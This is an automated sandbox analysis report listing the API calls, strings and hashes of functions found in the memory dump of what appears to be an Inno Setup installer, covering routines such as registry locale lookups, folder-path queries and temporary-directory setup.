Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 45566dd6d5ea1f2d432aa336e5a60c1e3a8d7bb9a7f17ca8116a3bd58dd3b41d
Instruction ID: dec86fcb97929b74413189edb203bd87f329489ef31ab21fd3caa719f1a03e71
Opcode Fuzzy Hash: 45566dd6d5ea1f2d432aa336e5a60c1e3a8d7bb9a7f17ca8116a3bd58dd3b41d
Instruction Fuzzy Hash: 95F0B430540608AFCB10EBB6DC4295EB3ACEB4431479009B6F400F32D1EB395E10995C

Uniqueness

Uniqueness Score: -1.00%

Function 0040E2C4, Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 173registryCOMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000105,00000000,0040E4E9,?,?), ref: 0040E2FD
RegOpenKeyExW.ADVAPI32(80000001,Software\Embarcadero\Locales,00000000,000F0019,?,00000000,0040E4E9,?,?), ref: 0040E346
RegOpenKeyExW.ADVAPI32(80000002,Software\Embarcadero\Locales,00000000,000F0019,?,80000001,Software\Embarcadero\Locales,00000000,000F0019,?,00000000,0040E4E9,?,?), ref: 0040E368
RegOpenKeyExW.ADVAPI32(80000001,Software\CodeGear\Locales,00000000,000F0019,?,80000002,Software\Embarcadero\Locales,00000000,000F0019,?,80000001,Software\Embarcadero\Locales,00000000,000F0019,?,00000000), ref: 0040E386
RegOpenKeyExW.ADVAPI32(80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001,Software\CodeGear\Locales,00000000,000F0019,?,80000002,Software\Embarcadero\Locales,00000000,000F0019,?,80000001), ref: 0040E3A4
RegOpenKeyExW.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001,Software\CodeGear\Locales,00000000,000F0019,?,80000002), ref: 0040E3C2
RegOpenKeyExW.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,80000002,Software\CodeGear\Locales,00000000,000F0019,?,80000001), ref: 0040E3E0
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,00000000,0040E4CC,?,80000001,Software\Embarcadero\Locales,00000000,000F0019,?,00000000,0040E4E9), ref: 0040E420
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,?,00000000,00000000,00000000,?,00000000,0040E4CC,?,80000001), ref: 0040E44B
RegCloseKey.ADVAPI32(?,0040E4D3,00000000,00000000,?,?,?,00000000,00000000,00000000,?,00000000,0040E4CC,?,80000001,Software\Embarcadero\Locales), ref: 0040E4C6

Strings

Software\Borland\Locales, xrefs: 0040E3B8
Software\Embarcadero\Locales, xrefs: 0040E33C, 0040E35E
Software\Borland\Delphi\Locales, xrefs: 0040E3D6
Software\CodeGear\Locales, xrefs: 0040E37C, 0040E39A

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: Open$QueryValue$CloseFileModuleName
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales$Software\CodeGear\Locales$Software\Embarcadero\Locales
API String ID: 2701450724-3496071916
Opcode ID: 5aa5f0f4598f069c7b6180d6d0362751deb9bd023370fd1abe4087e628624bde
Instruction ID: 4455e1c2a3f30db0af6e145a4bce986524b579b5894be5bc8a3c80d05520e853
Opcode Fuzzy Hash: 5aa5f0f4598f069c7b6180d6d0362751deb9bd023370fd1abe4087e628624bde
Instruction Fuzzy Hash: 5C51F775A40608BEEB10DAA6CC42FAF77BCDB08704F5044BBBA14F61C2D6789A50DB5D

Uniqueness

Uniqueness Score: -1.00%

Function 006AAC44, Relevance: 26.5, APIs: 6, Strings: 9, Instructions: 223COMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32(006CC7E4,00008000,00000000,?,00000000,006AAF8E,?,00000000,00000000,?,006B6424,00000006,?,00000000,006B69F6), ref: 006AAE3C
CoTaskMemFree.OLE32(?,006AAE7F,?,00000000,00000000,?,006B6424,00000006,?,00000000,006B69F6,?,00000000,006B6AB5), ref: 006AAE72
SHGetKnownFolderPath.SHELL32(006CC7F4,00008000,00000000,?,?,00000000,00000000,?,006B6424,00000006,?,00000000,006B69F6,?,00000000,006B6AB5), ref: 006AAE8F
CoTaskMemFree.OLE32(?,006AAED2,?,00000000,00000000,?,006B6424,00000006,?,00000000,006B69F6,?,00000000,006B6AB5), ref: 006AAEC5

Strings

COMMAND.COM, xrefs: 006AAF64
cmd.exe, xrefs: 006AAF43
Failed to get path of 64-bit Common Files directory, xrefs: 006AAE02
ProgramFilesDir, xrefs: 006AAD2A, 006AADB1
Failed to get path of 64-bit Program Files directory, xrefs: 006AADD3
\Program Files, xrefs: 006AAD51
SystemDrive, xrefs: 006AACC9
Common Files, xrefs: 006AAD9B
CommonFilesDir, xrefs: 006AAD64, 006AADE0

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: FolderFreeKnownPathTask
String ID: COMMAND.COM$Common Files$CommonFilesDir$Failed to get path of 64-bit Common Files directory$Failed to get path of 64-bit Program Files directory$ProgramFilesDir$SystemDrive$\Program Files$cmd.exe
API String ID: 969438705-544719455
Opcode ID: 696bb485f508fd4fc235287d8c56ccdf96c541909d852cd50d0c8d5b81ec93a6
Instruction ID: fe51c0427e94c168f709ef2f052c82e6a7ec7b866c045d3231fd400451090af3
Opcode Fuzzy Hash: 696bb485f508fd4fc235287d8c56ccdf96c541909d852cd50d0c8d5b81ec93a6
Instruction Fuzzy Hash: 36819270A016089FDB15FFD4E841BAE7BA3EB4A300F90556BF401A6B91D7389D01CF66

Uniqueness

Uniqueness Score: -1.00%

Function 00410BF4, Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 258COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00410CAC

Strings

pLl, xrefs: 00410C6E
PLl, xrefs: 00410C09

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionRaise
String ID: PLl$pLl
API String ID: 3997070919-4186446801
Opcode ID: 680169fcd532cac4d69c46f1a411d0c4da8965a060f4a2cecfd24daada8743fe
Instruction ID: 89124adebdcc93ff81c3ba781c85106882e461d72a0ecd66a84e58e39c90ae7a
Opcode Fuzzy Hash: 680169fcd532cac4d69c46f1a411d0c4da8965a060f4a2cecfd24daada8743fe
Instruction Fuzzy Hash: 1EA17F75A01309AFDB24CFD5D981BEEBBB6AB48310F14451AE505AB390DBB4E9C0CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0060E9CC, Relevance: 10.7, APIs: 2, Strings: 5, Instructions: 157COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000044,00000000,00000000,04000000,00000000,00000000,00000000,?,COMMAND.COM" /C ,?,0060EBFC,0060EBFC,?,0060EBFC,00000000), ref: 0060EB81
CloseHandle.KERNEL32(006B66D7,?,00000044,00000000,00000000,04000000,00000000,00000000,00000000,?,COMMAND.COM" /C ,?,0060EBFC,0060EBFC,?,0060EBFC), ref: 0060EB8E

Part of subcall function 0060E938: WaitForInputIdle.USER32 ref: 0060E964
Part of subcall function 0060E938: MsgWaitForMultipleObjects.USER32 ref: 0060E986
Part of subcall function 0060E938: GetExitCodeProcess.KERNEL32 ref: 0060E997
Part of subcall function 0060E938: CloseHandle.KERNEL32(00000001,0060E9C4,0060E9BD,?,?,?,00000001,?,?,0060ED66,?,00000000,0060ED7C,?,?,?), ref: 0060E9B7

Strings

COMMAND.COM" /C , xrefs: 0060EAEC
cmd.exe" /C ", xrefs: 0060EAB5
.cmd, xrefs: 0060EA83
D, xrefs: 0060EB20
.bat, xrefs: 0060EA68

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseHandleWait$CodeErrorExitIdleInputLastMultipleObjectsProcess
String ID: .bat$.cmd$COMMAND.COM" /C $D$cmd.exe" /C "
API String ID: 854858120-615399546
Opcode ID: 1c7a33d7b2778019ab7e0f0bc9f17923504f4bbfec8c97e2ebba7ca72006c8a8
Instruction ID: 07a5d6622b0d651e74d63e867ec204be8bf58b8f6432d8305f3226309c39c408
Opcode Fuzzy Hash: 1c7a33d7b2778019ab7e0f0bc9f17923504f4bbfec8c97e2ebba7ca72006c8a8
Instruction Fuzzy Hash: 95514F34A8031DAADB04EFE5C982ADEBBB6FF44304F60447AF805A72C1D7769A05CB55

Uniqueness

Uniqueness Score: -1.00%

Function 005B85F0, Relevance: 10.6, APIs: 7, Instructions: 105windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32 ref: 005B8604
IsWindowUnicode.USER32 ref: 005B8618
PeekMessageW.USER32 ref: 005B863B
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 005B8651
TranslateMessage.USER32 ref: 005B86D6
DispatchMessageW.USER32 ref: 005B86E3
DispatchMessageA.USER32 ref: 005B86EB

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: Message$Peek$Dispatch$TranslateUnicodeWindow
String ID:
API String ID: 2190272339-0
Opcode ID: be14539378901f34a9f73cd4942952708fe83c9efa75b6763ce22da6b5766406
Instruction ID: 7850c8a41d1bda1102247ae3eba297ae2e53e2ccedf434ab9455d22e2f6bc662
Opcode Fuzzy Hash: be14539378901f34a9f73cd4942952708fe83c9efa75b6763ce22da6b5766406
Instruction Fuzzy Hash: F621F83034478065EA312D2A1C16BFE9F8D6FF1B48F14545EF58197182CEA9F846C21E

Uniqueness

Uniqueness Score: -1.00%

Function 006AB2D4, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 102COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,00000000,00000000,006AB42A,?,?,00000005,00000000,00000000,?,006B7B71,00000000,006B7D26,?,00000000,006B7D8A), ref: 006AB35F
GetLastError.KERNEL32(00000000,00000000,00000000,006AB42A,?,?,00000005,00000000,00000000,?,006B7B71,00000000,006B7D26,?,00000000,006B7D8A), ref: 006AB368

Strings

Created temporary directory: , xrefs: 006AB311
_isetup, xrefs: 006AB34A
\_setup64.tmp, xrefs: 006AB3E2
Rm, xrefs: 006AB323

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: CreateDirectoryErrorLast
String ID: Created temporary directory: $\_setup64.tmp$_isetup$Rm
API String ID: 1375471231-619888300
Opcode ID: 184f87e886625dbb871829819008579bdfdecec8b70b72511a305179fb1b08d0
Instruction ID: adf2f5543b26c1b87df2d6ea404a84bc2f58e6883483325e64833120cf8cc648
Opcode Fuzzy Hash: 184f87e886625dbb871829819008579bdfdecec8b70b72511a305179fb1b08d0
Instruction Fuzzy Hash: B0411F34A001099BDB01FBA5D882AEEB7B6EF49304F50557AE401A7792DB74AE058F64

Uniqueness

Uniqueness Score: -1.00%

Function 005C8044, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91windowregistryCOMMON

Download Yara Rule

APIs

GetActiveWindow.USER32 ref: 005C8073
GetFocus.USER32(00000000,005C8156,?,?,?,00000001,00000000,?,00624CD7,006D479C,?,006B7C81,?,?,00000000,006B7D0C), ref: 005C807B
RegisterClassW.USER32 ref: 005C809C
ShowWindow.USER32(00000000,00000008,00000000,?,00000000,4134A000,00000000,00000000,00000000,00000000,80000000,00000000,?,00000000,00000000,00000000), ref: 005C8134
SetFocus.USER32(00000000,00000000,005C8156,?,?,?,00000001,00000000,?,00624CD7,006D479C,?,006B7C81,?,?,00000000), ref: 005C813B

Strings

TWindowDisabler-Window, xrefs: 005C80D3, 005C811C

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: FocusWindow$ActiveClassRegisterShow
String ID: TWindowDisabler-Window
API String ID: 495420250-1824977358
Opcode ID: f91cd026eb05f25d33a6d8af840a27a0896b23e2d12ba556de4d8f1fb83d8f0a
Instruction ID: 5ab169a57db71ca83144016e7fa3c4a7aa592af68df439750d62b7863cf9535f
Opcode Fuzzy Hash: f91cd026eb05f25d33a6d8af840a27a0896b23e2d12ba556de4d8f1fb83d8f0a
Instruction Fuzzy Hash: 7D218070A41600AFD710EBA69C02F6ABBE5FB85B40F15452AF500AB291DB74AC4587D8

Uniqueness

Uniqueness Score: -1.00%

Function 006C3650, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00410BA8: GetModuleHandleW.KERNEL32(00000000,?,006C3663), ref: 00410BB4

GetWindowLongW.USER32(?,000000EC), ref: 006C3673
SetWindowLongW.USER32(?,000000EC,00000000), ref: 006C368F
SetErrorMode.KERNEL32(00000001,00000000,006C36D4), ref: 006C36A4

Part of subcall function 006B80BC: GetModuleHandleW.KERNEL32(user32.dll,DisableProcessWindowsGhosting,006C36AE,00000001,00000000,006C36D4), ref: 006B80C6

Part of subcall function 005B8740: SendMessageW.USER32(?,0000B020,00000000,?), ref: 005B8765

Part of subcall function 005B8250: SetWindowTextW.USER32(?,00000000), ref: 005B8281

ShowWindow.USER32(?,00000005,00000000,006C36D4), ref: 006C370E

Strings

TYj, xrefs: 006C371A
Setup, xrefs: 006C36F4

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$HandleLongModule$ErrorMessageModeSendShowText
String ID: Setup$TYj
API String ID: 1533765661-222076697
Opcode ID: 5768e0d582e52e8d6d168eb6fadb8a8827a4ce1f72d3aeffb140806789636c9b
Instruction ID: e9fc4baf4b40b491f8675e1572dec19425dd6fa1bf8a55e0520f1f642e799667
Opcode Fuzzy Hash: 5768e0d582e52e8d6d168eb6fadb8a8827a4ce1f72d3aeffb140806789636c9b
Instruction Fuzzy Hash: D3213E74204600AFC341EB69DC82DA67BFAEB8F7107518565F914877A1CB75A840CB65

Uniqueness

Uniqueness Score: -1.00%

Function 005CD18C, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 57COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 005CD19D

Part of subcall function 004EE230: EnterCriticalSection.KERNEL32(?,00000000,004EE49F,?,?), ref: 004EE278

SelectObject.GDI32(0068C9D4,00000000), ref: 005CD1BF
GetTextExtentPointW.GDI32(0068C9D4,ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz,00000034,?), ref: 005CD1D3
GetTextMetricsW.GDI32(0068C9D4,?,00000000,005CD218,?,00000000,?,?,0068C9D4), ref: 005CD1F5
ReleaseDC.USER32 ref: 005CD212

Strings

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz, xrefs: 005CD1CA

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: Text$CriticalEnterExtentMetricsObjectPointReleaseSectionSelect
String ID: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
API String ID: 1334710084-222967699
Opcode ID: cfdea7413595acbddd1e106899056d90e4d8163f6ab9ae2ba1f39e21ef6df673
Instruction ID: 7c54d4053370f3abf143933d0ccd8ed0548831f5c72a22e7813bae608c756ede
Opcode Fuzzy Hash: cfdea7413595acbddd1e106899056d90e4d8163f6ab9ae2ba1f39e21ef6df673
Instruction Fuzzy Hash: 6C016DBAA54204BFD700DEE9CC41FAEB7FCEB89714F51047AB604E7281D678AE008724

Uniqueness

Uniqueness Score: -1.00%

Function 00423A18, Relevance: 7.5, APIs: 5, Instructions: 41fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(00000000,?,?,006D479C,?,006B7D35,00000000,006B7D8A,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex), ref: 00423A28
GetLastError.KERNEL32(00000000,?,?,006D479C,?,006B7D35,00000000,006B7D8A,?,?,00000005,?,00000000,00000000,00000000,Inno-Setup-RegSvr-Mutex), ref: 00423A37
GetFileAttributesW.KERNEL32(00000000,00000000,?,?,006D479C,?,006B7D35,00000000,006B7D8A,?,?,00000005,?,00000000,00000000,00000000), ref: 00423A3F
RemoveDirectoryW.KERNEL32(00000000,00000000,00000000,?,?,006D479C,?,006B7D35,00000000,006B7D8A,?,?,00000005,?,00000000,00000000), ref: 00423A5A
SetLastError.KERNEL32(00000000,00000000,00000000,?,?,006D479C,?,006B7D35,00000000,006B7D8A,?,?,00000005,?,00000000,00000000), ref: 00423A68

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFileLast$AttributesDeleteDirectoryRemove
String ID:
API String ID: 2814369299-0
Opcode ID: a7d48c479effa99c13726cd06c9a81b40db213f168e3472006e923150bc3a552
Instruction ID: 6af4817109388cbf865bbcb6c057fea4a38b610039f66ef5cc830b203be569cf
Opcode Fuzzy Hash: a7d48c479effa99c13726cd06c9a81b40db213f168e3472006e923150bc3a552
Instruction Fuzzy Hash: 0CF0A061340224199D203DBF2889EBF125CC9827EFB54077BF990E22D2DA2E5F87426D

Uniqueness

Uniqueness Score: -1.00%

Function 005C6570, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.ADVAPI32(00000001,?,00000000,00000000,00000000,?,00000000,005C66A6,?,006AD078,00000000,00000000), ref: 005C65AC
RegQueryValueExW.ADVAPI32(00000001,?,00000000,00000000,00000000,70000000,00000001,?,00000000,00000000,00000000,?,00000000,005C66A6,?,006AD078), ref: 005C661A

Strings

jn\, xrefs: 005C65BC, 005C6631
jn\, xrefs: 005C6683, 005C65D3

Memory Dump Source

Source File: 00000005.00000002.671424101.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.671417443.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671888572.00000000006C4000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671897768.00000000006C9000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671903330.00000000006CB000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671909269.00000000006CD000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671914830.00000000006CE000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671921218.00000000006D3000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671930026.00000000006D8000.00000008.00020000.sdmp Download File
Associated: 00000005.00000002.671936032.00000000006DA000.00000004.00020000.sdmp Download File
Associated: 00000005.00000002.671942139.00000000006DB000.00000002.00020000.sdmp Download File
Associated: 00000005.00000002.671955927.00000000006DD000.00000002.00020000.sdmp Download File

Similarity

API ID: QueryValue
String ID: jn\$jn\
API String ID: 3660427363-2382671196
Opcode ID: 3e48dd5595439cec9071c1e48ee77c5669d35979900cfc549d71363e24bad7b2
Instruction ID: 8bceae826fb58f5cc1abe10999adb5643ee7cb9af79bc91dae7968670a065b85
Opcode Fuzzy Hash: 3e48dd5595439cec9071c1e48ee77c5669d35979900cfc549d71363e24bad7b2
Instruction Fuzzy Hash: C0411871900219AFDB20DFD5C981EAEBBB9FB44704F61446EE800FB280D734AF848B95

Uniqueness

Uniqueness Score: -1.00%

Function 00409EF8, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 93threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00409F28
